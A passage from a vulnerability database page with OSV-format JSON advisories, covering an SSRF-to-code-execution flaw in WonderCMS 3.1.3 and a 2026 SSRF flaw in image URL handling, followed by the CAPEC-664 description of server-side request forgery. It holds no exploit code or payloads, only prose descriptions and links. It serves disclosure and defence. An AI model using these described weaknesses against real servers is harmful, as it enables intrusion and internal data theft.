      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7267347"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GP2-9VCG-VWJ6

Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2024-04-04 03:06
VLAI
Details

A server-side request forgery (SSRF) vulnerability in the addCustomThemePluginRepository function in index.php in WonderCMS 3.1.3 allows remote attackers to execute arbitrary code via a crafted URL to the theme/plugin installer.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-35313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-20T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A server-side request forgery (SSRF) vulnerability in the addCustomThemePluginRepository function in index.php in WonderCMS 3.1.3 allows remote attackers to execute arbitrary code via a crafted URL to the theme/plugin installer.",
  "id": "GHSA-8gp2-9vcg-vwj6",
  "modified": "2024-04-04T03:06:18Z",
  "published": "2022-05-24T17:48:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35313"
    },
    {
      "type": "WEB",
      "url": "https://github.com/robiso/wondercms"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/160310/WonderCMS-3.1.3-Code-Execution-Server-Side-Request-Forgery.html"
    },
    {
      "type": "WEB",
      "url": "https://zetc0de.github.io/post/authenticated-rce-ssrf-wondercms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8GQM-83X8-PXX4

Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-27 18:31
VLAI
Details

Content-controlled image URLs could request private or reserved network services, follow unsafe redirects and save responses without validating that they were images. This could result in SSRF, internal-data access or writing attacker-controlled files into a web-accessible folder.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-64799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T10:16:51Z",
    "severity": "HIGH"
  },
  "details": "Content-controlled image URLs could request private or reserved network services, follow unsafe redirects and save responses without validating that they were images. This could result in SSRF, internal-data access or writing attacker-controlled files into a web-accessible folder.",
  "id": "GHSA-8gqm-83x8-pxx4",
  "modified": "2026-07-27T18:31:42Z",
  "published": "2026-07-23T12:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64799"
    },
    {
      "type": "WEB",
      "url": "https://regularlabs.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.